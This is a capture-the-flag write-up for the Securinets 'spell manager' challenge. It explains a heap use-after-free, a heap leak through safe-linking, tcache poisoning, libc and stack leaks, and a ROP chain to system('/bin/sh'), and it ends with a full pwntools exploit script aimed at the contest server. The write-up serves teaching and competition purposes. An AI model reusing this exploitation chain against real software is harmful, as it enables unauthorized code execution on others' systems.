# Securinets CTF ## Securinets - spell manager > Heap UAF + safe-linking leak → tcache poisoning → unsorted-bin libc leak → `environ` stack leak → tcache-to-stack overwrite → ROP to `system("/bin/sh")`. --- ### TL;DR - The program manages up to 32 “spells” with add/edit/view/delete and a separate “feedback” feature. - **Bug 1 — UAF & dangling prints:** `delete_spell` frees but doesn’t null the pointer. `view_spells` still prints freed chunks → leak. - **Safe-linking leak:** printing a freed tcache chunk yields `fd = heap >> 12` → recover **heap base**. - **Tcache poisoning:** rewrite `fd` as `target ^ (heap >> 12)` to force the next-next allocation to any address we choose. - **Libc leak:** craft an **unsorted-bin** free to leak `main_arena` and compute **libc base**. - **Stack leak:** poison to `libc.environ-0x18` and read a stack pointer via the “feedback” printer. - **Tcache-to-stack:** poison the bin to a **fake stack chunk** near saved RIP and write a **ROP** chain: `pop rdi; ret`, `"/bin/sh"`, `system` → shell. --- ### Challenge overview - **Object layout:** each spell stores `name[0x20]`, `effect[0x40]`, `cost`, `cooldown`, `element`. Allocator size falls in the 0x80 tcache bin. - **Menu:** 1) add 2) edit 3) view 4) delete 5) feedback (small malloc + `puts` of user bytes). - **Protections (typical for remote):** NX on, ASLR on, glibc safe-linking. PIE not required for the strategy. --- ### Exploit 1. **Heap base leak via safe-linking** Free a few spells (0x80 bin). Because the pointers stay in the global array, `view_spells()` prints a freed chunk. The first qword is the **mangled fd** (= `heap >> 12` for the first free). Shift left 12 → **heap base**. 2. **Tcache poison #1 → overlap + unsorted leak** Using the UAF edit on a freed chunk, set its `fd` to `target ^ (heap>>12)`. Two allocations later, you get a chunk at **`target`**. Prepare metadata so a `free` goes to the **unsorted bin** (`0x501`), then read back the unsorted bk/fd pointer to **`main_arena`**. Compute **`libc base`**. 3. **Stack leak via `environ`** Poison the 0x80 tcache again so the next allocation returns at **`libc.environ - 0x18`**. Use `feedback` prints to read past a controlled padding and capture the leaked **stack pointer**. 4. **Tcache poison #2 → chunk on the stack** Calculate a **fake chunk** address near the saved return pointer (e.g., `environ - 0x148`). Poison the bin to that address; the **second** malloc after poisoning will return a chunk **on the stack**. Overwrite up to saved RIP with a small **ROP**: `ret`/`pop rdi; ret`, `"/bin/sh"`, `system`. 5. **Win** Returning from the menu hits our chain → `system("/bin/sh")` → interactive shell. --- ### Final solve (exploit script) ```python from pwn import * elf = context.binary = ELF("./main_patched") libc = elf.libc # io = process() io = remote("pwn-14caf623.p1.securinets.tn", 9091) def add_spell(idx, name, effect, cost, cooldown, element): io.sendlineafter(b'Choice: ', b'1') io.sendlineafter(b'(0-31): ', str(idx).encode()) io.sendlineafter(b'name: ', name) io.sendlineafter(b'effect: ', effect) io.sendlineafter(b'cost: ', str(cost).encode()) io.sendlineafter(b'cooldown (in seconds): ', str(cooldown).encode()) io.sendlineafter(b'Choice: ', str(element).encode()) def edit_spell(idx, name, effect, cost, cooldown, element): io.sendlineafter(b'Choice: ', b'2') io.sendlineafter(b'(0-31): ', str(idx).encode()) io.sendafter(b'name: ', name) io.sendafter(b'effect: ', effect) io.sendlineafter(b'cost: ', str(cost).encode()) io.sendlineafter(b'cooldown (in seconds): ', str(cooldown).encode()) io.sendlineafter(b'Choice: ', str(element).encode()) def view_spells(): io.sendlineafter(b'Choice: ', b'3') def delete_spell(idx): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'(0-31): ', str(idx).encode()) def feedback(size, data): io.sendlineafter(b'Choice: ', b'5') io.sendlineafter(b'size of feedback: ', str(size).encode()) io.sendafter(b'feedback: ', data) for i in range(21): print(f"add {i}") add_spell(i, b'spell', b'effect', 5, 5, 0x81) for i in range(8): print(f"delete {i}") delete_spell(i) view_spells() io.recvuntil(b'Name: ') mangle = unpack(io.recvuntil(b'Effect')[:-9], 'all') heap = mangle << 12 print(hex(heap)) print(hex(mangle)) edit_spell(7, p64((heap+0x770)^mangle), b'effect', 7, 7, 0x81) edit_spell(9, b'spell', b'A'*56+p64(0x81), ((mangle) & 0xffffffff), 5, 0x81) add_spell(21, b'spell', b'effect', 5, 5, 0x81) add_spell(22, b'spellasd' + b'A'*16 + p64(0x501), b'effectasdf', 7, 7, 0x81) delete_spell(10) view_spells() io.recvuntil(b'Slot 10:') io.recvuntil(b'Name: ') leak = unpack(io.recvuntil(b'Effect')[:-9], 'all') print(hex(leak)) libc.address = leak - libc.sym.main_arena - 96 print(hex(libc.address)) edit_spell(6, p64((libc.sym.environ-0x18)^mangle), b'effect', 7, 7, 0x81) feedback(112, b'A'*0x18) feedback(112, b'A'*0x18) io.recv(0x18) stack = unpack(io.recv(6),'all') print(hex(stack)) fake_chunk = stack - 0x148 print(hex(fake_chunk)) for i in range(25, 29): add_spell(i, b'spell', b'effect'+str(i).encode(), 5, 5, 0x81) for i in range(25, 29): delete_spell(i) edit_spell(28, p64((fake_chunk)^mangle), b'effect', 7, 7, 0x81) add_spell(30, b'spell', b'effect'+str(i).encode(), 5, 5, 0x81) rop = ROP(libc) rop.call('system', [next(libc.search(b'/bin/sh\x00'))]) add_spell(30, b'A'*8 + p64(libc.address+0x000000000002882f) + rop.chain(), b'effect', 5, 5, 0x81) io.interactive() io.close() ```